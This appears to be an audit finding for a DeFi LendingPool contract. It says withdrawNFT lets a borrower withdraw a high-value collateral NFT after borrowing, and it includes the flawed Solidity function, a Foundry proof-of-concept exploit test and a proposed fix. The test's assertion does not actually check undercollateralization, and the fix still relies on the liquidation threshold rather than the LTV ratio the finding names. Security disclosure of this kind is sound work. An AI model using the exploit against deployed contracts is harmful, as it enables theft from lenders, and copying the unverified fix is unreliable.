Summary
The LendingPool
contract allows users to withdraw used as collateral NFTs by calling withdrawNFT, potentially leaving the protocol undercollateralized. This vulnerability arises because the contract does not properly enforce the Loan-to-Value (LTV) ratio when withdrawing NFTs. As a result, a malicious user can withdraw high-value NFTs after borrowing funds, leaving the protocol with insufficient collateral to cover the debt.
Vulnerability Details
Explanation
The withdrawNFT
function in the LendingPool
contract checks if withdrawing an NFT would leave the user undercollateralized. However, the calculation is flawed because it does not account for the LTV ratio. Specifically:
Insufficient Collateral Check: The function only checks if the remaining collateral value is greater than the user's debt multiplied by the liquidation threshold. This does not account for the LTV ratio, which ensures that the collateral value is always greater than the borrowed amount by a safe margin.
Exploitable Withdrawal: A malicious user can deposit multiple NFTs, borrow funds, and then withdraw high-value NFTs, leaving the protocol with insufficient collateral to cover the debt.
Root Cause in the Contract Function
The issue lies in the following lines of the withdrawNFT
function:
function withdrawNFT(uint256 tokenId) external nonReentrant whenNotPaused {
if (isUnderLiquidation[msg.sender]) revert CannotWithdrawUnderLiquidation();
UserData storage user = userData[msg.sender];
if (!user.depositedNFTs[tokenId]) revert NFTNotDeposited();
ReserveLibrary.updateReserveState(reserve, rateData);
uint256 userDebt = user.scaledDebtBalance.rayMul(reserve.usageIndex);
uint256 collateralValue = getUserCollateralValue(msg.sender);
uint256 nftValue = getNFTPrice(tokenId);
@> if (collateralValue - nftValue < userDebt.percentMul(liquidationThreshold)) {
revert WithdrawalWouldLeaveUserUnderCollateralized();
}
for (uint256 i = 0; i < user.nftTokenIds.length; i++) {
if (user.nftTokenIds[i] == tokenId) {
user.nftTokenIds[i] = user.nftTokenIds[user.nftTokenIds.length - 1];
user.nftTokenIds.pop();
break;
}
}
user.depositedNFTs[tokenId] = false;
raacNFT.safeTransferFrom(address(this), msg.sender, tokenId);
emit NFTWithdrawn(msg.sender, tokenId);
}
This check only ensures that the remaining collateral value is above the liquidation threshold but does not enforce the LTV ratio. As a result, users can withdraw NFTs and leave the protocol undercollateralized.
Proof of Concept
Scenario Example
User Deposits NFTs: A user deposits two NFTs worth 250 crvUSD and 750 crvUSD, respectively.
User Borrows Funds: The user borrows 300 crvUSD against the collateral.
User Withdraws NFT: The user withdraws the high-value NFT (750 crvUSD), leaving the protocol with only 250 crvUSD of collateral for a 300 crvUSD debt.
Undercollateralization: The protocol is left undercollateralized, as the remaining collateral (250 crvUSD) is insufficient to cover the debt (300 crvUSD).
Code
The vulnerability is demonstrated in the following Foundry test suite. Convert to foundry project using the steps highlighted here. Then in the test/
folder create a Test file named LendingPoolTest.t.sol
and paste the test into it. Make sure the imports path are correct and run the test using forge test --mt testExploitNFTWithdrawal
:
pragma solidity ^0.8.0;
import "forge-std/Test.sol";
import "contracts/core/pools/LendingPool/LendingPool.sol";
import "contracts/mocks/core/tokens/crvUSDToken.sol";
import "contracts/core/primitives/RAACHousePrices.sol";
import "contracts/core/tokens/RAACNFT.sol";
import "contracts/core/tokens/RToken.sol";
import "contracts/core/tokens/DebtToken.sol";
contract LendingPoolTest is Test {
LendingPool lendingPool;
crvUSDToken crvusd;
RAACHousePrices raacHousePrices;
RAACNFT raacNFT;
RToken rToken;
DebtToken debtToken;
address owner;
address user1;
address user2;
function setUp() public {
owner = address(this);
user1 = address(0x1);
user2 = address(0x2);
crvusd = new crvUSDToken(owner);
raacHousePrices = new RAACHousePrices(owner);
raacNFT = new RAACNFT(address(crvusd), address(raacHousePrices), owner);
rToken = new RToken("RToken", "RToken", owner, address(crvusd));
debtToken = new DebtToken("DebtToken", "DT", owner);
uint256 initialPrimeRate = 0.1 * 1e27;
lendingPool = new LendingPool(
address(crvusd),
address(rToken),
address(debtToken),
address(raacNFT),
address(raacHousePrices),
initialPrimeRate
);
crvusd.setMinter(owner);
rToken.setReservePool(address(lendingPool));
debtToken.setReservePool(address(lendingPool));
rToken.transferOwnership(address(lendingPool));
debtToken.transferOwnership(address(lendingPool));
uint256 mintAmount = 1000 ether;
crvusd.mint(user1, mintAmount);
uint256 mintAmount2 = 10000 ether;
crvusd.mint(user2, mintAmount2);
raacHousePrices.setOracle(owner);
raacHousePrices.setHousePrice(1, 250 ether);
raacHousePrices.setHousePrice(2, 750 ether);
uint256 tokenId1 = 1;
uint256 tokenId2 = 2;
uint256 amountToPay1 = 250 ether;
uint256 amountToPay2 = 750 ether;
crvusd.mint(user1, amountToPay1 + amountToPay2);
vm.prank(user1);
crvusd.approve(address(raacNFT), amountToPay1 + amountToPay2);
vm.startPrank(user1);
raacNFT.mint(tokenId1, amountToPay1);
raacNFT.mint(tokenId2, amountToPay2);
vm.stopPrank();
}
function testExploitNFTWithdrawal() public {
uint256 depositAmount = 10000 ether;
vm.startPrank(user2);
crvusd.approve(address(lendingPool), depositAmount);
lendingPool.deposit(depositAmount);
vm.stopPrank();
uint256 tokenId1 = 1;
uint256 tokenId2 = 2;
vm.startPrank(user1);
raacNFT.approve(address(lendingPool), tokenId1);
raacNFT.approve(address(lendingPool), tokenId2);
lendingPool.depositNFT(tokenId1);
lendingPool.depositNFT(tokenId2);
uint256 borrowAmount = 300 ether;
lendingPool.borrow(borrowAmount);
lendingPool.withdrawNFT(tokenId2);
vm.stopPrank();
assertEq(raacNFT.getHousePrice(tokenId2) + borrowAmount, 1050 ether);
}
}
In this test:
The user deposits two NFTs worth 250 crvUSD and 750 crvUSD.
The user borrows 300 crvUSD.
The user withdraws the high-value NFT (750 crvUSD), leaving the protocol with insufficient collateral.
Impact
Undercollateralization: The protocol can be left undercollateralized, leading to potential insolvency.
Loss of Funds: Malicious users can exploit this vulnerability to profit at the expense of the protocol and other users.
Tools Used
Recommendations
function withdrawNFT(uint256 tokenId) external nonReentrant whenNotPaused {
if (isUnderLiquidation[msg.sender]) revert CannotWithdrawUnderLiquidation();
UserData storage user = userData[msg.sender];
if (!user.depositedNFTs[tokenId]) revert NFTNotDeposited();
// Update state
ReserveLibrary.updateReserveState(reserve, rateData);
// Check if withdrawal would leave user undercollateralized
uint256 userDebt = user.scaledDebtBalance.rayMul(reserve.usageIndex);
uint256 collateralValue = getUserCollateralValue(msg.sender);
uint256 nftValue = getNFTPrice(tokenId);
// Enforce LTV ratio
+ uint256 remainingCollateral = collateralValue - nftValue;
+ uint256 maxBorrowable = remainingCollateral.percentMul(liquidationThreshold);
- if (collateralValue - nftValue < userDebt.percentMul(liquidationThreshold)) {
+ if (userDebt > maxBorrowable) {
+ revert WithdrawalWouldLeaveUserUnderCollateralized();
+ }
// Remove NFT from user's deposited NFTs
for (uint256 i = 0; i < user.nftTokenIds.length; i++) {
if (user.nftTokenIds[i] == tokenId) {
user.nftTokenIds[i] = user.nftTokenIds[user.nftTokenIds.length - 1];
user.nftTokenIds.pop();
break;
}
}
user.depositedNFTs[tokenId] = false;
raacNFT.safeTransferFrom(address(this), msg.sender, tokenId);
emit NFTWithdrawn(msg.sender, tokenId);
}